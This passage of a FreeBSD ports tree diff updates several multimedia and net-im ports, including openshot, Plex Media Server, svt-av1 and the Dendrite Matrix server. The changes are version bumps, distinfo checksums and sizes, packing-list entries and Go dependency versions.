a/multimedia/openshot/files/patch-src_windows_preferences.py +++ b/multimedia/openshot/files/patch-src_windows_preferences.py @@ -1,6 +1,6 @@ ---- src/windows/preferences.py.orig 2023-04-01 07:04:04 UTC +--- src/windows/preferences.py.orig 2023-04-20 05:27:15 UTC +++ src/windows/preferences.py -@@ -318,7 +318,7 @@ class Preferences(QDialog): +@@ -325,7 +325,7 @@ class Preferences(QDialog): value_list.remove(value_item) elif os_platform == "Windows" and v not in ("0", "3", "4"): value_list.remove(value_item) diff --git a/multimedia/openshot/pkg-plist b/multimedia/openshot/pkg-plist index b15af20c4c1..1778a4cbf66 100644 --- a/multimedia/openshot/pkg-plist +++ b/multimedia/openshot/pkg-plist @@ -1,9 +1,9 @@ bin/openshot-qt -%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.0-py%%PYTHON_VER%%.egg-info/PKG-INFO -%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.0-py%%PYTHON_VER%%.egg-info/SOURCES.txt -%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.0-py%%PYTHON_VER%%.egg-info/dependency_links.txt -%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.0-py%%PYTHON_VER%%.egg-info/entry_points.txt -%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.0-py%%PYTHON_VER%%.egg-info/top_level.txt +%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.1-py%%PYTHON_VER%%.egg-info/PKG-INFO +%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.1-py%%PYTHON_VER%%.egg-info/SOURCES.txt +%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.1-py%%PYTHON_VER%%.egg-info/dependency_links.txt +%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.1-py%%PYTHON_VER%%.egg-info/entry_points.txt +%%PYTHON_SITELIBDIR%%/openshot_qt-3.1.1-py%%PYTHON_VER%%.egg-info/top_level.txt %%PYTHON_SITELIBDIR%%/openshot_qt/__init__.py %%PYTHON_SITELIBDIR%%/openshot_qt/__pycache__/__init__%%PYTHON_EXT_SUFFIX%%.opt-1.pyc %%PYTHON_SITELIBDIR%%/openshot_qt/__pycache__/__init__%%PYTHON_EXT_SUFFIX%%.pyc diff --git a/multimedia/plexmediaserver-plexpass/Makefile b/multimedia/plexmediaserver-plexpass/Makefile index a592031167b..b100fe58d4e 100644 --- a/multimedia/plexmediaserver-plexpass/Makefile +++ b/multimedia/plexmediaserver-plexpass/Makefile @@ -1,5 +1,5 @@ -PORTVERSION= 1.32.1.6983 -DISTVERSIONSUFFIX=93784ef3f +PORTVERSION= 1.32.1.6999 +DISTVERSIONSUFFIX=91e1e2e2c MASTER_SITES= https://downloads.plex.tv/plex-media-server-new/${DISTVERSION}-${DISTVERSIONSUFFIX}/freebsd/ PKGNAMESUFFIX= -plexpass DISTNAME= PlexMediaServer-${DISTVERSION}-${DISTVERSIONSUFFIX}-FreeBSD-${ARCH} diff --git a/multimedia/plexmediaserver-plexpass/distinfo b/multimedia/plexmediaserver-plexpass/distinfo index 4cd0c60ac34..5ba1130502f 100644 --- a/multimedia/plexmediaserver-plexpass/distinfo +++ b/multimedia/plexmediaserver-plexpass/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1682100569 -SHA256 (PlexMediaServer-1.32.1.6983-93784ef3f-FreeBSD-amd64.tar.bz2) = 7bf3c99cb1961e5b1c52d416b0df70774b7e91efa6a7b5458eeb026ff69aae4d -SIZE (PlexMediaServer-1.32.1.6983-93784ef3f-FreeBSD-amd64.tar.bz2) = 96874071 +TIMESTAMP = 1682524030 +SHA256 (PlexMediaServer-1.32.1.6999-91e1e2e2c-FreeBSD-amd64.tar.bz2) = 12385045ba21db05bae29dfccdb792e54e0ef3d2caa7acbe22328d47a5dbceb2 +SIZE (PlexMediaServer-1.32.1.6999-91e1e2e2c-FreeBSD-amd64.tar.bz2) = 96756437 diff --git a/multimedia/py-moviepy/Makefile b/multimedia/py-moviepy/Makefile index cc1b5119719..a59a5f395be 100644 --- a/multimedia/py-moviepy/Makefile +++ b/multimedia/py-moviepy/Makefile @@ -1,6 +1,6 @@ PORTNAME= moviepy PORTVERSION= 1.0.3 -PORTREVISION= 4 +PORTREVISION= 5 CATEGORIES= multimedia python MASTER_SITES= PYPI PKGNAMEPREFIX= ${PYTHON_PKGNAMEPREFIX} diff --git a/multimedia/qwinff/files/patch-src_translations_CMakeLists.txt b/multimedia/qwinff/files/patch-src_translations_CMakeLists.txt new file mode 100644 index 00000000000..ed8bd77b100 --- /dev/null +++ b/multimedia/qwinff/files/patch-src_translations_CMakeLists.txt @@ -0,0 +1,11 @@ +--- src/translations/CMakeLists.txt.orig 2023-04-28 19:51:06 UTC ++++ src/translations/CMakeLists.txt +@@ -17,7 +17,7 @@ set(TS_FILES + qwinff_zh_TW.ts + ) + +-qt5_create_translation(QM_FILES ${TS_FILES}) ++qt_add_translation(QM_FILES ${TS_FILES}) + add_custom_target(translations ALL DEPENDS ${QM_FILES}) + + install(FILES ${QM_FILES} DESTINATION share/qwinff/translations) diff --git a/multimedia/svt-av1/Makefile b/multimedia/svt-av1/Makefile index bccd2f65233..0f3c0aaf7e0 100644 --- a/multimedia/svt-av1/Makefile +++ b/multimedia/svt-av1/Makefile @@ -1,6 +1,6 @@ PORTNAME= svt-av1 DISTVERSIONPREFIX= v -DISTVERSION= 1.4.1 +DISTVERSION= 1.5.0 CATEGORIES= multimedia MAINTAINER= jbeich@FreeBSD.org @@ -21,7 +21,7 @@ USE_GITLAB= yes USE_LDCONFIG= yes GL_ACCOUNT= AOMediaCodec GL_PROJECT= SVT-AV1 -GL_COMMIT= 018276d714ce65d9b586f6205ee016cbd8d5425d +GL_COMMIT= ea296ef350714fb6f105b420fb0bc321d9997ffd CMAKE_ON= ENABLE_NASM CMAKE_OFF= NATIVE diff --git a/multimedia/svt-av1/distinfo b/multimedia/svt-av1/distinfo index 7d290bbf1b0..a4994bb9bf8 100644 --- a/multimedia/svt-av1/distinfo +++ b/multimedia/svt-av1/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1671019163 -SHA256 (AOMediaCodec-SVT-AV1-018276d714ce65d9b586f6205ee016cbd8d5425d_GL0.tar.gz) = ec24cd4ca19a8748dae7683407fc7ca605caa277bbd81c76cf39b8707af53a5e -SIZE (AOMediaCodec-SVT-AV1-018276d714ce65d9b586f6205ee016cbd8d5425d_GL0.tar.gz) = 10112882 +TIMESTAMP = 1682547116 +SHA256 (AOMediaCodec-SVT-AV1-ea296ef350714fb6f105b420fb0bc321d9997ffd_GL0.tar.gz) = 4797196205b247e99f739351229a25c3cb5c76f200ab14a25155726b06323ce9 +SIZE (AOMediaCodec-SVT-AV1-ea296ef350714fb6f105b420fb0bc321d9997ffd_GL0.tar.gz) = 10159331 diff --git a/multimedia/svt-av1/pkg-plist b/multimedia/svt-av1/pkg-plist index 4fb0bb8478b..2deabbeb705 100644 --- a/multimedia/svt-av1/pkg-plist +++ b/multimedia/svt-av1/pkg-plist @@ -13,6 +13,6 @@ lib/libSvtAv1Dec.so.0 lib/libSvtAv1Dec.so.0.8.7 lib/libSvtAv1Enc.so lib/libSvtAv1Enc.so.1 -lib/libSvtAv1Enc.so.1.4.1 +lib/libSvtAv1Enc.so.1.5.0 libdata/pkgconfig/SvtAv1Dec.pc libdata/pkgconfig/SvtAv1Enc.pc diff --git a/multimedia/vapoursynth/Makefile b/multimedia/vapoursynth/Makefile index dce9e504206..d91ebba5020 100644 --- a/multimedia/vapoursynth/Makefile +++ b/multimedia/vapoursynth/Makefile @@ -1,6 +1,6 @@ PORTNAME= vapoursynth DISTVERSION= R54 -PORTREVISION= 3 +PORTREVISION= 4 CATEGORIES= multimedia MAINTAINER= jbeich@FreeBSD.org diff --git a/net-im/Makefile b/net-im/Makefile index f83101b1133..81e18dfd09d 100644 --- a/net-im/Makefile +++ b/net-im/Makefile @@ -164,6 +164,7 @@ SUBDIR += telegram-desktop SUBDIR += telegram-purple SUBDIR += telegramqml + SUBDIR += teleirc SUBDIR += telepathy-accounts-signon SUBDIR += telepathy-farstream SUBDIR += telepathy-gabble diff --git a/net-im/dendrite/Makefile b/net-im/dendrite/Makefile index a3faae5e369..f27ab56637d 100644 --- a/net-im/dendrite/Makefile +++ b/net-im/dendrite/Makefile @@ -1,7 +1,6 @@ PORTNAME= dendrite DISTVERSIONPREFIX= v -DISTVERSION= 0.11.1 -PORTREVISION= 3 +DISTVERSION= 0.12.2 CATEGORIES= net-im MAINTAINER= ashish@FreeBSD.org @@ -19,9 +18,9 @@ USERS= ${PORTNAME} GROUPS= ${USERS} DENDRITE_BINS= create-account dendrite-demo-pinecone \ - dendrite-demo-yggdrasil dendrite-monolith-server \ - dendrite-polylith-multi dendrite-upgrade-tests \ - furl generate-config generate-keys resolve-state + dendrite-demo-yggdrasil dendrite \ + dendrite-upgrade-tests furl generate-config \ + generate-keys resolve-state .for f in ${DENDRITE_BINS} GO_TARGET+= ./cmd/$f:${PREFIX}/dendrite/bin/$f @@ -30,6 +29,7 @@ GO_TARGET+= ./cmd/$f:${PREFIX}/dendrite/bin/$f USE_GITHUB= yes USE_GITLAB= nodefault GH_ACCOUNT= matrix-org +GH_TAGNAME= helm-dendrite-${DISTVERSION} GH_TUPLE= Arceliar:ironwood:45b4281814c2:arceliar_ironwood/vendor/github.com/Arceliar/ironwood \ Arceliar:phony:dde1a8dca979:arceliar_phony/vendor/github.com/Arceliar/phony \ DATA-DOG:go-sqlmock:v1.5.0:data_dog_go_sqlmock/vendor/github.com/DATA-DOG/go-sqlmock \ @@ -71,21 +71,21 @@ GH_TUPLE= Arceliar:ironwood:45b4281814c2:arceliar_ironwood/vendor/github.com/Arc go-yaml:yaml:v2.4.0:go_yaml_yaml/vendor/gopkg.in/yaml.v2 \ go-yaml:yaml:v3.0.1:go_yaml_yaml_1/vendor/gopkg.in/yaml.v3 \ gogo:protobuf:v1.3.2:gogo_protobuf/vendor/github.com/gogo/protobuf \ - golang:crypto:v0.5.0:golang_crypto/vendor/golang.org/x/crypto \ + golang:crypto:v0.6.0:golang_crypto/vendor/golang.org/x/crypto \ golang:exp:47842c84f3db:golang_exp/vendor/golang.org/x/exp \ golang:geo:740aa86cb551:golang_geo/vendor/github.com/golang/geo \ golang:glog:v1.0.0:golang_glog/vendor/github.com/golang/glog \ - golang:image:v0.1.0:golang_image/vendor/golang.org/x/image \ + golang:image:v0.5.0:golang_image/vendor/golang.org/x/image \ golang:mobile:b36e6246172e:golang_mobile/vendor/golang.org/x/mobile \ golang:mock:v1.6.0:golang_mock/vendor/github.com/golang/mock \ golang:mod:v0.6.0:golang_mod/vendor/golang.org/x/mod \ - golang:net:v0.5.0:golang_net/vendor/golang.org/x/net \ + golang:net:v0.7.0:golang_net/vendor/golang.org/x/net \ golang:protobuf:v1.5.2:golang_protobuf/vendor/github.com/golang/protobuf \ golang:snappy:v0.0.4:golang_snappy/vendor/github.com/golang/snappy \ - golang:sys:v0.4.0:golang_sys/vendor/golang.org/x/sys \ - golang:term:v0.4.0:golang_term/vendor/golang.org/x/term \ - golang:text:v0.6.0:golang_text/vendor/golang.org/x/text \ - golang:time:v0.1.0:golang_time/vendor/golang.org/x/time \ + golang:sys:v0.5.0:golang_sys/vendor/golang.org/x/sys \ + golang:term:v0.5.0:golang_term/vendor/golang.org/x/term \ + golang:text:v0.7.0:golang_text/vendor/golang.org/x/text \ + golang:time:v0.3.0:golang_time/vendor/golang.org/x/time \ golang:tools:v0.2.0:golang_tools/vendor/golang.org/x/tools \ gologme:log:v1.3.0:gologme_log/vendor/github.com/gologme/log \ google:go-cmp:v0.5.9:google_go_cmp/vendor/github.com/google/go-cmp \ @@ -100,18 +100,18 @@ GH_TUPLE= Arceliar:ironwood:45b4281814c2:arceliar_ironwood/vendor/github.com/Arc juju:errors:v1.0.0:juju_errors/vendor/github.com/juju/errors \ kardianos:minwinsvc:v1.0.2:kardianos_minwinsvc/vendor/github.com/kardianos/minwinsvc \ kballard:go-shellquote:95032a82bc51:kballard_go_shellquote/vendor/github.com/kballard/go-shellquote \ - klauspost:compress:v1.15.11:klauspost_compress/vendor/github.com/klauspost/compress \ + klauspost:compress:v1.16.0:klauspost_compress/vendor/github.com/klauspost/compress \ kr:pretty:v0.3.1:kr_pretty/vendor/github.com/kr/pretty \ lib:pq:v1.10.7:lib_pq/vendor/github.com/lib/pq \ lukechampine:uint128:v1.2.0:lukechampine_uint128/vendor/lukechampine.com/uint128 \ matrix-org:dugong:66e6b1c67e2e:matrix_org_dugong/vendor/github.com/matrix-org/dugong \ matrix-org:go-sqlite3-js:28aa791a1c91:matrix_org_go_sqlite3_js/vendor/github.com/matrix-org/go-sqlite3-js \ matrix-org:gomatrix:ceba4d9f7530:matrix_org_gomatrix/vendor/github.com/matrix-org/gomatrix \ - matrix-org:gomatrixserverlib:122f1e0e3fa1:matrix_org_gomatrixserverlib/vendor/github.com/matrix-org/gomatrixserverlib \ + matrix-org:gomatrixserverlib:4dd7ff2f0e3a:matrix_org_gomatrixserverlib/vendor/github.com/matrix-org/gomatrixserverlib \ matrix-org:pinecone:8c3b24f2649a:matrix_org_pinecone/vendor/github.com/matrix-org/pinecone \ matrix-org:util:399730281e66:matrix_org_util/vendor/github.com/matrix-org/util \ mattn:go-isatty:v0.0.16:mattn_go_isatty/vendor/github.com/mattn/go-isatty \ - mattn:go-sqlite3:v1.14.15:mattn_go_sqlite3/vendor/github.com/mattn/go-sqlite3 \ + mattn:go-sqlite3:v1.14.16:mattn_go_sqlite3/vendor/github.com/mattn/go-sqlite3 \ matttproud:golang_protobuf_extensions:c182affec369:matttproud_golang_protobuf_extensions/vendor/github.com/matttproud/golang_protobuf_extensions \ minio:highwayhash:v1.0.2:minio_highwayhash/vendor/github.com/minio/highwayhash \ moby:moby:v20.10.19:moby_moby/vendor/github.com/docker/docker \ @@ -121,13 +121,12 @@ GH_TUPLE= Arceliar:ironwood:45b4281814c2:arceliar_ironwood/vendor/github.com/Arc morikuni:aec:v1.0.0:morikuni_aec/vendor/github.com/morikuni/aec \ mschoch:smat:v0.2.0:mschoch_smat/vendor/github.com/mschoch/smat \ nats-io:jwt:v2.3.0:nats_io_jwt_v2/vendor/github.com/nats-io/jwt \ - nats-io:nats-server:v2.9.8:nats_io_nats_server_v2/vendor/github.com/nats-io/nats-server/v2 \ - nats-io:nats.go:v1.20.0:nats_io_nats_go/vendor/github.com/nats-io/nats.go \ + nats-io:nats-server:v2.9.15:nats_io_nats_server_v2/vendor/github.com/nats-io/nats-server/v2 \ + nats-io:nats.go:v1.24.0:nats_io_nats_go/vendor/github.com/nats-io/nats.go \ nats-io:nkeys:v0.3.0:nats_io_nkeys/vendor/github.com/nats-io/nkeys \ nats-io:nuid:v1.0.1:nats_io_nuid/vendor/github.com/nats-io/nuid \ neilalexander:utp:54ae7b1cd5f9:neilalexander_utp/vendor/github.com/neilalexander/utp \ nfnt:resize:83c6a9932646:nfnt_resize/vendor/github.com/nfnt/resize \ - ngrok:sqlmw:97c9c04efc79:ngrok_sqlmw/vendor/github.com/ngrok/sqlmw \ nhooyr:websocket:v1.8.7:nhooyr_websocket/vendor/nhooyr.io/websocket \ onsi:ginkgo:v2.3.0:onsi_ginkgo_v2/vendor/github.com/onsi/ginkgo/v2 \ onsi:gomega:v1.22.1:onsi_gomega/vendor/github.com/onsi/gomega \ @@ -170,7 +169,7 @@ GL_TUPLE= cznic:cc:03159e8e41eec8d08c1e502bfc46868b9a03aa57:cznic_cc/vendor/mode post-install: ${MKDIR} ${STAGEDIR}${ETCDIR} ${STAGEDIR}${DOCSDIR} - ${INSTALL_DATA} ${WRKSRC}/dendrite-sample.monolith.yaml ${STAGEDIR}${ETCDIR}/${PORTNAME}.yaml.sample + ${INSTALL_DATA} ${WRKSRC}/dendrite-sample.yaml ${STAGEDIR}${ETCDIR}/${PORTNAME}.yaml.sample ${INSTALL_DATA} ${WRKSRC}/README.md ${STAGEDIR}${DOCSDIR} cd ${WRKSRC}/docs && ${COPYTREE_SHARE} . ${STAGEDIR}${DOCSDIR} diff --git a/net-im/dendrite/distinfo b/net-im/dendrite/distinfo index 887c7d0b58b..6bc3f66f4eb 100644 --- a/net-im/dendrite/distinfo +++ b/net-im/dendrite/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1676065311 -SHA256 (matrix-org-dendrite-v0.11.1_GH0.tar.gz) = ca7b19e5285b634747052aaa22a9adcb010d0d3f041fccce11c9cc77d7f66fba -SIZE (matrix-org-dendrite-v0.11.1_GH0.tar.gz) = 1100709 +TIMESTAMP = 1682876057 +SHA256 (matrix-org-dendrite-v0.12.2-helm-dendrite-0.12.2_GH0.tar.gz) = 88a520ec8a4b08c44240f0339510355bb116c962c079a040ba4d349fb78d3a95 +SIZE (matrix-org-dendrite-v0.12.2-helm-dendrite-0.12.2_GH0.tar.gz) = 1216444 SHA256 (Arceliar-ironwood-45b4281814c2_GH0.tar.gz) = c94ea93f6b155781a9ad57be2cfac6e72b86a0f54a0e8e0d082164a6bc4e685f SIZE (Arceliar-ironwood-45b4281814c2_GH0.tar.gz) = 42065 SHA256 (Arceliar-phony-dde1a8dca979_GH0.tar.gz) = bcc79621c9da979c1d357a29f1924d73c86c57c0e901652312d742cbc39e5962 @@ -83,36 +83,36 @@ SHA256 (go-yaml-yaml-v3.0.1_GH0.tar.gz) = cf05411540d3e6ef8f1fd88434b34f94cedace SIZE (go-yaml-yaml-v3.0.1_GH0.tar.gz) = 91173 SHA256 (gogo-protobuf-v1.3.2_GH0.tar.gz) = 2bb4b13d6e56b3911f09b8e9ddd15708477fbff8823c057cc79dd99c9a452b34 SIZE (gogo-protobuf-v1.3.2_GH0.tar.gz) = 2038725 -SHA256 (golang-crypto-v0.5.0_GH0.tar.gz) = 8bcfaa35f98b42734c36989ab8f98b51343468ddcd386f4583a585c1f23b33dd -SIZE (golang-crypto-v0.5.0_GH0.tar.gz) = 1633607 +SHA256 (golang-crypto-v0.6.0_GH0.tar.gz) = abdd55e246751307493aac73d787c38953814668cf13a3dd73b600050e7b5058 +SIZE (golang-crypto-v0.6.0_GH0.tar.gz) = 1633588 SHA256 (golang-exp-47842c84f3db_GH0.tar.gz) = 5c4f2863414bbb0e811c37e4a445978ee03aeafa5d710bd7658e58426410ddc1 SIZE (golang-exp-47842c84f3db_GH0.tar.gz) = 1606976 SHA256 (golang-geo-740aa86cb551_GH0.tar.gz) = d77c97a5c958dcbb180718b841cd691796cb5ef9b151e51df22308453fb4b2ab SIZE (golang-geo-740aa86cb551_GH0.tar.gz) = 386957 SHA256 (golang-glog-v1.0.0_GH0.tar.gz) = 230aceb83b895e9b509b142010b7b2a241f162433177b17d85165917cbe558b5 SIZE (golang-glog-v1.0.0_GH0.tar.gz) = 19759 -SHA256 (golang-image-v0.1.0_GH0.tar.gz) = 50d8069c455f934fc7fc0902e9065e4b6401f23ae29616de402c19f8497aae59 -SIZE (golang-image-v0.1.0_GH0.tar.gz) = 5039424 +SHA256 (golang-image-v0.5.0_GH0.tar.gz) = ba6a2acdb0ba2e91834ef1259cc59214a144b070f2e261b2ad819ef264714610 +SIZE (golang-image-v0.5.0_GH0.tar.gz) = 5040072 SHA256 (golang-mobile-b36e6246172e_GH0.tar.gz) = f7b9a156077894181c369ba0e18371f970350cb2cbb3dfd94703f9406cc15bbc SIZE (golang-mobile-b36e6246172e_GH0.tar.gz) = 2050217 SHA256 (golang-mock-v1.6.0_GH0.tar.gz) = 470174971c3a63361149a30f5b2d3a716a198afeb6cc71daa30712faa7293942 SIZE (golang-mock-v1.6.0_GH0.tar.gz) = 69251 SHA256 (golang-mod-v0.6.0_GH0.tar.gz) = be621d2c7479670e043045f48e995db4710f8d34260b0248a947220ab5065f20 SIZE (golang-mod-v0.6.0_GH0.tar.gz) = 120462 -SHA256 (golang-net-v0.5.0_GH0.tar.gz) = 75bd115b29351ceaf0013076f7c03dc6e6456b1adc768e7f8e66a13dd614a72d -SIZE (golang-net-v0.5.0_GH0.tar.gz) = 1238327 +SHA256 (golang-net-v0.7.0_GH0.tar.gz) = 4949a0dbdd3c200c8681c18bebd65c8e8b620470189361dac05c89c714d9a59b +SIZE (golang-net-v0.7.0_GH0.tar.gz) = 1241017 SHA256 (golang-protobuf-v1.5.2_GH0.tar.gz) = 088cc0f3ba18fb8f9d00319568ff0af5a06d8925a6e6cb983bb837b4efb703b3 SIZE (golang-protobuf-v1.5.2_GH0.tar.gz) = 171702 SHA256 (golang-snappy-v0.0.4_GH0.tar.gz) = 77df678795596f9dfecb5744deb984633d780460a7e9a59e0c7ecfe2052b644f SIZE (golang-snappy-v0.0.4_GH0.tar.gz) = 66129 -SHA256 (golang-sys-v0.4.0_GH0.tar.gz) = 765fb838f213fb11f22b8f5d2f14d221ccd331010730edd4631976be744d3621 -SIZE (golang-sys-v0.4.0_GH0.tar.gz) = 1425141 -SHA256 (golang-term-v0.4.0_GH0.tar.gz) = 0fb1e876db5e69c5515046953c1958a1f88a5fc270e57fda5474d3d282fffaaa -SIZE (golang-term-v0.4.0_GH0.tar.gz) = 14798 -SHA256 (golang-text-v0.6.0_GH0.tar.gz) = 5e21aa155036d214cde4b5992cd07ac81ecb230e87d2abaa3cf1a606df9b64fe -SIZE (golang-text-v0.6.0_GH0.tar.gz) = 8361991 -SHA256 (golang-time-v0.1.0_GH0.tar.gz) = 9ac4d7f7da6e4c5074fa1ef1a67a893391332c3f7ccfffe29750e89fb0b9440f -SIZE (golang-time-v0.1.0_GH0.tar.gz) = 11108 +SHA256 (golang-sys-v0.5.0_GH0.tar.gz) = 810c8f1b7704674971ab6b2b614aba20a5a1765018fd2c639f528dbbcbf88b1f +SIZE (golang-sys-v0.5.0_GH0.tar.gz) = 1429723 +SHA256 (golang-term-v0.5.0_GH0.tar.gz) = a363183f934f45cb7a0b2fef46105e3e1983cd56bb3070a1a8b227e3276c74d3 +SIZE (golang-term-v0.5.0_GH0.tar.gz) = 14799 +SHA256 (golang-text-v0.7.0_GH0.tar.gz) = a37dfe82c39f84c57a083da9725dd1bdae59cff6a5cbca3ae4443e446b4a70b8 +SIZE (golang-text-v0.7.0_GH0.tar.gz) = 8361947 +SHA256 (golang-time-v0.3.0_GH0.tar.gz) = 2419ace580d977566862f0145991cd63f5db634518ea73f30d7a705a176e86eb +SIZE (golang-time-v0.3.0_GH0.tar.gz) = 12214 SHA256 (golang-tools-v0.2.0_GH0.tar.gz) = ca6cde42e29bbf1222bd263b0a0131a4b6e35452a609d47a52e8d8fb8da4e733 SIZE (golang-tools-v0.2.0_GH0.tar.gz) = 3209824 SHA256 (gologme-log-v1.3.0_GH0.tar.gz) = bc8749523542f0c649ed5c4df2ccb18d610133f14ccbc4395d7e2723321572a2 @@ -141,8 +141,8 @@ SHA256 (kardianos-minwinsvc-v1.0.2_GH0.tar.gz) = 43f5f3452c8b0f0baa800434b4c947c SIZE (kardianos-minwinsvc-v1.0.2_GH0.tar.gz) = 2422 SHA256 (kballard-go-shellquote-95032a82bc51_GH0.tar.gz) = dde336eb697f7f9c26cf6d1467f75b6cf559262c1b0b110d28fff29790f76bc5 SIZE (kballard-go-shellquote-95032a82bc51_GH0.tar.gz) = 4328 -SHA256 (klauspost-compress-v1.15.11_GH0.tar.gz) = e79cfb490113c6983c5ba962f2e61bde4572f1cdcc02bbf9573f479c7eee5773 -SIZE (klauspost-compress-v1.15.11_GH0.tar.gz) = 36199166 +SHA256 (klauspost-compress-v1.16.0_GH0.tar.gz) = eaab846c68be4ffbba76264e2bf5140fd8ca3c6c98cbb4c58c9949e96570839a +SIZE (klauspost-compress-v1.16.0_GH0.tar.gz) = 37231027 SHA256 (kr-pretty-v0.3.1_GH0.tar.gz) = e6fa7db2708320e66a1645bf6b234e524e73f4163ca0519b8608616e48f5d206 SIZE (kr-pretty-v0.3.1_GH0.tar.gz) = 10227 SHA256 (lib-pq-v1.10.7_GH0.tar.gz) = e7c460fcdf73df7f4d437f49fd1fb6513f9729a8512ff876686ee7564e35847f @@ -155,16 +155,16 @@ SHA256 (matrix-org-go-sqlite3-js-28aa791a1c91_GH0.tar.gz) = 8562fdc0572e0ab2dcf8 SIZE (matrix-org-go-sqlite3-js-28aa791a1c91_GH0.tar.gz) = 16617 SHA256 (matrix-org-gomatrix-ceba4d9f7530_GH0.tar.gz) = 8faf04d7a81bc82ba3ab4d73fa83198635a363a2088217b3d6983b93cbfe110c SIZE (matrix-org-gomatrix-ceba4d9f7530_GH0.tar.gz) = 26589 -SHA256 (matrix-org-gomatrixserverlib-122f1e0e3fa1_GH0.tar.gz) = 2043911a02abe93c5c267ef2e62a45cb2f5477af0979bf9f04980500d161164e -SIZE (matrix-org-gomatrixserverlib-122f1e0e3fa1_GH0.tar.gz) = 147328 +SHA256 (matrix-org-gomatrixserverlib-4dd7ff2f0e3a_GH0.tar.gz) = bcf8a3a13815b1c05254e957d738715cae8b365536d6fec476a133782f44b82b +SIZE (matrix-org-gomatrixserverlib-4dd7ff2f0e3a_GH0.tar.gz) = 147295 SHA256 (matrix-org-pinecone-8c3b24f2649a_GH0.tar.gz) = 87b24813ce7a793f27640337e5c7ab2ad324c0d067722cb243f0b21804955f36 SIZE (matrix-org-pinecone-8c3b24f2649a_GH0.tar.gz) = 343271 SHA256 (matrix-org-util-399730281e66_GH0.tar.gz) = 924b30f2e811305e939805c01896b239d03a0471a0fefa5e53c6152863dc5d08 SIZE (matrix-org-util-399730281e66_GH0.tar.gz) = 15349 SHA256 (mattn-go-isatty-v0.0.16_GH0.tar.gz) = b5c84cc0881a3d67a4b32709a20601a2c8491b17ae0c98aefb138b5424f8eca4 SIZE (mattn-go-isatty-v0.0.16_GH0.tar.gz) = 4690 -SHA256 (mattn-go-sqlite3-v1.14.15_GH0.tar.gz) = ed9198dd50ea9057ab58744210cdfd7bb1e8e29805a869dd1eae4db614203ae5 -SIZE (mattn-go-sqlite3-v1.14.15_GH0.tar.gz) = 2473843 +SHA256 (mattn-go-sqlite3-v1.14.16_GH0.tar.gz) = 826a8201600e05860b6a580c0b97a75b11fa6ca469696868d23d7c680ed19c54 +SIZE (mattn-go-sqlite3-v1.14.16_GH0.tar.gz) = 2475472 SHA256 (matttproud-golang_protobuf_extensions-c182affec369_GH0.tar.gz) = 66a6911e621bfd8823078568688b5683d66ce0b8f85da7b1288d3533d2724735 SIZE (matttproud-golang_protobuf_extensions-c182affec369_GH0.tar.gz) = 37518 SHA256 (minio-highwayhash-v1.0.2_GH0.tar.gz) = 5a89e6f3e77cb77c818c5ce0316812d544e588456fce2e55e02f48d52fa9c5d2 @@ -183,10 +183,10 @@ SHA256 (mschoch-smat-v0.2.0_GH0.tar.gz) = 9098fa6b3e9fb25afc1d4de143ac106a27a19d SIZE (mschoch-smat-v0.2.0_GH0.tar.gz) = 12046 SHA256 (nats-io-jwt-v2.3.0_GH0.tar.gz) = 3f6d78974c16b44d8dcc5a6e8daa1d38238a69674ae01bfda27123b31a0dc4de SIZE (nats-io-jwt-v2.3.0_GH0.tar.gz) = 82968 -SHA256 (nats-io-nats-server-v2.9.8_GH0.tar.gz) = 31ad53e46a3dafdd9dfe52ce751b7fd5eaf838810c42d002b11477ee8d6e3471 -SIZE (nats-io-nats-server-v2.9.8_GH0.tar.gz) = 1630474 -SHA256 (nats-io-nats.go-v1.20.0_GH0.tar.gz) = dfec777a88bef73cc9ef0d22cf5a644c7d804ef84faff0bbfa305f3936a1cef9 -SIZE (nats-io-nats.go-v1.20.0_GH0.tar.gz) = 385253 +SHA256 (nats-io-nats-server-v2.9.15_GH0.tar.gz) = e2f63277776886134683ea08d0f9c39c0e93161b483b295d84180d02454bfc28 +SIZE (nats-io-nats-server-v2.9.15_GH0.tar.gz) = 1663398 +SHA256 (nats-io-nats.go-v1.24.0_GH0.tar.gz) = dae3e4f95ec65cdc44dd893687a86861827c667bd117874d43bba529b5c9cfd9 +SIZE (nats-io-nats.go-v1.24.0_GH0.tar.gz) = 400665 SHA256 (nats-io-nkeys-v0.3.0_GH0.tar.gz) = ea281df5dc380b84f61c3712b367f02957cff4cb7802e73b2b0b7588e4f6b809 SIZE (nats-io-nkeys-v0.3.0_GH0.tar.gz) = 19986 SHA256 (nats-io-nuid-v1.0.1_GH0.tar.gz) = a0b4fe5b40781add2a9fdb5d723313be5f5d11c1a79ea1dd2671278826ef078d @@ -195,8 +195,6 @@ SHA256 (neilalexander-utp-54ae7b1cd5f9_GH0.tar.gz) = a7203304a6a957313f76b13005c SIZE (neilalexander-utp-54ae7b1cd5f9_GH0.tar.gz) = 31389 SHA256 (nfnt-resize-83c6a9932646_GH0.tar.gz) = d5c440f3d4d431d64f6a4edabbc267d4b6e21d9a5649c35965f954a067dbc81c SIZE (nfnt-resize-83c6a9932646_GH0.tar.gz) = 12461 -SHA256 (ngrok-sqlmw-97c9c04efc79_GH0.tar.gz) = 55e3028de1706e8019255794f3558cc7839d4876455329375f32bf9fa93a4f40 -SIZE (ngrok-sqlmw-97c9c04efc79_GH0.tar.gz) = 15501 SHA256 (nhooyr-websocket-v1.8.7_GH0.tar.gz) = b2417df7fe0e6068b751fd3ede8d5f2b86658cf34c52438827ac1802f34a4e82 SIZE (nhooyr-websocket-v1.8.7_GH0.tar.gz) = 51286 SHA256 (onsi-ginkgo-v2.3.0_GH0.tar.gz) = ee155d1bb2bd049d391b0621513f516b8080380dd1307b825f22fe22e1dc1608 diff --git a/net-im/dendrite/files/dendrite.in b/net-im/dendrite/files/dendrite.in index 12a5c6e2a28..cd56e831187 100644 --- a/net-im/dendrite/files/dendrite.in +++ b/net-im/dendrite/files/dendrite.in @@ -16,7 +16,7 @@ name=dendrite rcvar=dendrite_enable -desc="Dendrite (Monolith Server)" +desc="Dendrite" load_rc_config $name 